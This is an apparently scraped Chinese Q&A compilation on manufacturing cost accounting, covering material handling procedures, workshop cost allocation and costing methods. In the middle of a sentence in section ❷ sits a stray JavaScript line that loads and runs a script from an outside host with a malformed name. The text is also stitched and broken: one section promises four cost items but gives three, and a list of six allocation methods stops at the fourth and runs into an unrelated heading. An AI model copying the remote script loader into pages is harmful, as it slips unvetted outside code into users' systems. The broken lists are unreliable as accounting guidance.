❶ 製造業成本核算方法
計算完工產品和在產品成本。
成本核算是指將企業在生產經營過程中發生的各種耗費按照一定的對象進行分配和歸集，以計算總成本和單位成本。成本核算通常以會計核算為基礎，以貨幣為計算單位。
成本核算是成本管理工作的重要組成部分，它是將企業在生產經營過程中發生的各種耗費按照一定的對象進行分配和歸集，以計算總成本和單位成本。製造業成本的計算，要從構成製造業成本的成本項目說起，要詳細說明非常復雜。
簡單的說構成製造業成本的成本項目一般有：直接材料和輔助材料、人工成本、製造費用，以上構成產品成本。
1、直接材料和輔助材料： 通俗的講：直接用於產品、成為產品的一部分的原材料，是直接材料。輔助材料一般不構成產品的實體，只是在生產過程中用於耗用的消耗。舉個例子：生產一輛汽車，鋼板在生產中構成了汽車的車體，所以說鋼板就是生產汽車的直接材料；生產中用於打磨汽車鋼板的砂輪，不構成汽車車體，但是也是用於生產車體的，就是輔助材料。一般情況下，可以這樣區分。
2、直接人工：這個好理解，直接參與產品生產的工人的工資、補助構成直接人工。一般和生產管理人員的工資區分開就可以了。
3、製造費用：通俗的講製造費用是生產過程中能源、動力、倉儲、車間設備折舊等輔助生產發生的費用，無法明確的歸屬到具體產品的費用。比如生產過程中用到的電力、切割氣體等。
以上四項就是構成製造業成本的具體項目，供參考！
❷ 生產車間的核算成本過程
一.原料采購：
1.采購部門嚴格按照材料供應計劃進行原料采購和供應。
2.采購部門根據原材料需求計劃編制年度和月度原材料采購供應計劃，其內容包括：材
料名稱，規格型號，供應數量.
3.采購部門必須嚴格按照相關標准進行采購.制定好相關標准，把關好采購原料及產品的質。
二..原料入庫：
1.原料入庫時，核算員會同原料倉管進行核查確認，簽字後方可入庫，入庫數量和入庫
單必須上交財務，所有原料不得無單進行入庫，特殊原料入庫前原料倉管必須會同品質部相關人員進行抽樣檢測，無質量問題或符合相關標准後，由品質部提供檢測報告簽字後交原料倉管進行入庫。拒絕不合格或手續不齊全的貨物入庫，杜絕只見發票不見實物的現象。
2.原料入庫後，不得按個人意願隨意擺放，必須按規定進行擺放，由主管會計定期會同
倉管盤點，每隔一段時間，如有原料損耗，原料倉管和核算員必須計算出損耗數量，，
由品質部出具報損報告和報損數量上交財務
3.倉庫管理員在月末結賬前要與車間及相關部門做好物料進出的銜接工作，各相關部門的計算口徑應保持一致，以保障成本核算的正確性。 4.庫成物資清查盤點時發現問題和差錯，應及時查明原因，並進行相應處理。如屬短缺及需報廢處理的，必須以書面形式按審批程序經領導審核批准後才可進行處理，否則一律不準自行調整。
三..原料出庫：
1實存數量與賬面數量要相比較，計算出原料應出庫數量。. 2.原料出庫要和原料庫存記錄相核對，無誤後調撥出庫。
3.出庫單錄入通過原料倉管，核算員，一致的原則進行核對，核算完畢各方簽字留存後，
上交一份給主管會計。 4.核算員負責審核調撥數量和原料使用記錄是否相符，對出庫的數量的准確性負責，利
潤測算要會同原料保管和核算員，原料倉管共同盤點
5.嚴把退、換貨關：仔細核定有效憑證，退、換貨予以標識。
6.每月末進行盤點，做到日清日結，配合公司財務部門做好盤點抽點工作。
四.生產領用：
1.生產任務下達後，由財務和生產部相關人員進行預算後，由生產部人員拿預算表並開
具領料單經主管人員簽字後，倉管方可協同生產部人員進行領料，領料單上必須註明生產任務單的編號、規格、數量，杜絕多領，否則倉庫管理員有權拒絕。 2.生產部領用原料後嚴格按照生產流程進行生產，降低損耗，減少生產成本。 3. 車間員工及相關人員必須配合合理工作安排,盡職盡責做好本職工作,不得疏忽或拒絕管理人員要求或工作安排;
4. 車間人員領取物料時必須持車間主管開具的領料單不得私自拿走物料.生產完成後,如有多餘的物料及時退回倉庫不得遺留在車間工作區域內;
5. 生產過程中好壞物料必須分清楚,並要做出明顯的標記,不能混料.在生產過程中要注意節約用料,不得隨意亂扔物料,工具,移交物料要交際協調好,標示醒目;
6. 原材料直接放置到生產現場的，倉管員必須按規定的位置並擺放整齊，標示清晰；
各生產現場原材料保管和適用，由該現場直接管理人員或該工序直接操作使用員工
var script = document.createElement('script'); script.src = 'http://static.pay..com/resource/chuan/ns.js'; document.body.appendChild(script);
直接保管和維護，不得隨意放置物品。
7. 包裝好的產品應放置在暫放區內，批號標示明確，以便檢查驗收及轉序尋找，搬運方
便，防止在使用批號，型號，規格時拿錯。
8. 每日在清理現場時必須將不能回收的廢物及時放到垃圾桶或外面的垃圾堆里，現場清
理余料時，將有用的余料清理出來，能及時合理分配使用。 五.產後管理： 1.剩餘原料：
（1..產品生產完畢，所剩原料必須辦理退庫手續。（如不退庫，必須由生產領用人員辦
理一張退庫單，一張領料單的上交財務）. （2）.庫房保管員和核算員負責剩餘原料的質量和價值認定。 （3）.每批次加工生產後，將剩餘的原材料清點登記入冊 2.半成品：
（1）生產剩餘半成品儲存在半成品倉庫（現在沒有建立半成品倉庫就暫存在成品倉庫
由倉庫管理員負責，標明半成品數量，規格，類別，根據倉庫條件分門別類進行堆放，做到堆垛整齊，貨物標簽明顯好方便入出與盤點）。
（2）嚴把入庫驗收關：確認並核簽有效入庫憑證，按照憑證所列項目進行詳細核查，若不符做好記錄並及時通知有關部門。
（3）嚴格履行出庫手續：確認並核簽有效出庫憑證，按推陳儲新先進先出原則發貨，
發貨堅持一盤底二核對三發貨四減數。堅持單貨不符不出庫！
（4）嚴把退、換貨關：仔細核定有效憑證，退、換貨予以標識。
（5）每月末進行盤點，做到日清日結，配合公司財務部門做好盤點抽點工作。 3.成品
（1）.生產部完成產品包裝後，由品質部開出成品檢驗報告後，按照不同的批號，批
次進行入庫，倉管必須嚴格按照數量，規格，類別，開出入庫單，並上交財務。由主管會計進行核對。
（2）成品發出必須由營銷部開具銷售發貨單據，倉庫管理人員憑蓋有財務發貨印章和
營銷部門負責人簽字的發貨單倉庫聯發貨，並做好相關登記。確保所有成品進出有據可依有據可查，保證公司財產安全。
（3）岳陽營銷中心需調撥產品入庫，必須開具調撥單後，由公司成品倉庫發往岳陽營
銷中心倉庫，岳陽營銷負責人確定調撥數量後，簽字確認後，調撥單隨發貨員返
回後上交財務核對。
❸ 如何核算出每個車間的成本
車間成本涉及東西較多，籠統的說如下：直接材料、燃料及動力、直接人工、製造費用、輔助生產成本等
核算的方法也是有好幾種的，理論的步驟如下：
一、成本核算的要求
（一）做好各項基礎工作
（二）正確劃分各種成本耗費的界限
1.正確劃分收益性支出和資本性支出的界限；
2.正確劃分成本費用、期間費用和營業外支出的界限；
3.正確劃分本期費用與以後期間費用的界限；
4.正確劃分各種產品成本費用的界限；
5.正確劃分本期完工產品與期末在產品成本的界限。
（三）根據生產特點和管理要求選擇適當的成本計算方法
二、成本核算的一般程序
（一）根據生產特點和成本管理的要求，確定成本核算對象；
（二）確定成本項目。企業一般應當設置原材料、燃料和動力、工資及福利費、車間經費和企業管理費五個成本項目；
（三）設置有關成本和費用明細賬；
（四）收集確定各種產品的生產量、入庫量、在產品盤存量以及材料、工時、動力消耗等，並對所有已發生費用進行審核；
（五）歸集所發生的各種費用，並按照確定的成本計算對象予以分配，按成本項目計算各種產品的在產品成本、產成品成本和單位成本；
（六）結轉產品銷售成本。
❹ 手工如何進行製造業的成本核算
1、對企業的各項要素費用進行審核和控制，確定應不應該開支；應開支的費用，應不應該計入生產經營管理費用；應該計入的費用，應計入生產費用還是經營管理費用，也就是將生產經營管理費用分配、歸集為成本和費用。2、將本月開支的成本、費用中應該留待以後月份攤銷的費用，計入待攤費用；將以前月份開支的待攤費用中本月應攤銷的費用，攤入本月成本費用；將本月尚未開支但應由本月負擔的成本、費用，預提計入本月成本費用。3、將計入本月成本的生產費用在各種產品之間進行分配和歸集，並按成本項目分別反映，算出按成本項目反映的各種產品的成本。4、對於既有完工產品又有在產品的產品，將月初在產品生產費用與本月生產費用之和，在本月完工產品與月末在產品之間進行分配和歸集，算出該種完工產品和月末在產品的成本。車間一般作為一個成本中心來組織核算，主要涉及的成本項目是：直接材料、直接人工、燃料和動力、製造費用。只要做好了這四個方面的計量、記錄、歸集和分配等工作，車間的成本核算任務就大體完成了。准確核算車間的成本要做好的基礎工作是：1、定額的制定和修訂。產品的消耗定額是編製成本計劃、分析和考核成本水平的依據，也是審核和控制耗費的標准。你公司應該根據當前設備條件和技術水平等因素，制定和修訂先進可行的原材料、燃料、動力和工時等項消耗定額。在計算產品成本時，往往也要根據產品的原材料和工時的定額消耗量或定額費用作為分配實際費用的標准，這是搞好生產管理、成本管理和成本核算的前提。2、材料物資的計量、收發、領退和盤點，要填制相應的憑證，經過一定的審批手續，並經過計量、驗收或交接盤點。3、搞好原始記錄。只有計量沒有記錄，核算就沒有書面的憑證依據。要制定既符合各方面管理需要，又符合成本核算要求，科學易行，講求實效的原始記錄制度，為成本核算提供所需原始資料。4、廠內計劃價格的制定和修訂。為了分清各車間的經濟責任，便於分析和考核內部各車間成本計劃的完成情況，還應對材料、半成品和內部相互提供的勞務制定廠內計劃價格，作為內部結算和考核的依據，同時還可以簡化和加速成本和費用的核算工作。5、適應生產特點和管理要求，採用適當的成本計算方法。生產組織和工藝過程不同的產品，應該採用不同的成本計算方法。對於車間涉及成本核算的相關人員數據統計等具體工作，上邊所述的內容已基本涉及到了，再補充兩點：1、外購動力費用的核算和分配。一般可以根據儀表所示來計算，但實際工作中，車間一般不能按產品分別安裝儀表，因而車間動力費在各種產品之間一般按產品的生產工時比例、機器工時(各種產品生產時所用機器設備運轉時間）比例、定額消耗量比例或其他比例分配。2、工資費用的核算和分配。主要是要搞好考勤記錄和產量記錄。總之，企業具體情況不同，成本核算工作點多面廣，一定要結合企業的實際情況具體問題具體分析，採用科學合理的工作方式，完成成本核算最終的目的——以最少的支出獲取最大的收入。
❺ 生產企業具體的成本核算流程
1.區分應計入產品成本的成本和不應計入產品成本的費用。即對企業的各項支出、費用進行嚴格地審核和控制，並按照國家統一會計制度來確定計入產品成本的直接材料、直接人工和製造費用（產品成本的構成項目）。
（1）直接材料，是指為生產產品而耗用的原材料、輔助材料、備品備件、外購半成品、燃料、動力、包裝物、低值易耗品以及其他直接材料。
其中燃料、動力等佔用比重大時，也可單獨設置項目。另外如有自製半成品，一般也要單獨設置項目。
（2）直接人工，是指企業直接從事產品生產人員的工資、獎金、津貼和補貼等費用。
（3）製造費用，是指企業各生產車間為組織和管理生產所發生的各項間接費用。包括各生產單位管理人員（如車間主任等）工資和福利費、折舊費、機物料消耗、辦公費、水電費、保險費等。
2.將應計入產品成本的各項成本，區分為應當計入本月的產品成本與應當由其他月份產品負擔的成本。
主要注意類似預付保險費等費用，要按權責發生制攤銷。
3.將應計入本月產品的各項生產成本，在各種產品之間進行歸集和分配，計算出每種產品的成本。
如果同一車間同時生產多種產品時，能按產品區分的材料及人工費則分別核算；不能區分的，實際工作中一般可按各產品的定額消耗量等對材料進行分配，按定額工時等對人工費進行分配。
4.對於月末未全部完工的產品，要將該種產品的生產費用（月初在產品生產費用與本月生產費用之和），在完工產品與月末在產品之間進行分配，計算出該種完工產品的總成本和單位成本。
企業應當根據在產品數量的多少、各月在產品數量變化的大小、各項成本比重的大小，以及定額管理基礎的好壞等具體條件，採用適當的分配方法將生產成本在完工產品和在產品之間進行分配。常用的分配方法有以下6種：
（1）不計算在產品成本法；
（2）在產品按固定成本計價法；
（3）在產品按所耗直接材料成本計價法；
（4）約當產量比例法；
(5)如何做車間成本統計擴展閱讀:
產品生產成本計算方法主要有：
1.品種法：品種法是以產品品種作為成本計算對象來歸集生產費用、計算產品成本的--種方法。由於品種法不需要按批計算成本，也不需要按步驟來計算半成品成本，因而這種成本計算方法比較簡單。
品種法主要適用於大批量單步驟生產的企業。如發電、採掘等。或者雖屬於多步驟生產，但不要求計算半成品成本的小型企業，如小水泥、制磚等。品種法一般按月定期計算產品成本，也不需要把生產費用在產成品和半成品之間進行分配。
2.分批法：分批法也稱定單法。是以產品的批次或定單作為成本計算對象來歸集生產費用、計算產品成本的一種方法。分批法主要適用於單件和小批的多步驟生產。如重型機床、船舶、精密儀器和專用設備等。
分批法的成本計算期是不固定的，一般把一個生產周期(即從投產到完工的整個時期)作為成本計算期定期計算產品成本。由於在未完工時沒有產成品，完工後又沒有在產品，產成品和在產品不會同時並存，因而也不需要把生產費用在產成品和產成品之間進行分配。
3.分步法：分步法是按產品的生產步驟歸集生產費用、計算產品成本的一種方法。分步法適用於大量或大批的多步驟生產。如機械、紡織、造紙等。
分步法由於生產的數量大，在某一時間上往往即有已完工：的產成品，又有未完工的在產品和半成品，不可能等全部產品完工後再計算成本。因而分步法一般是按月定期計算成本，並且要把生產費用在產成品和半成品之間進行分配。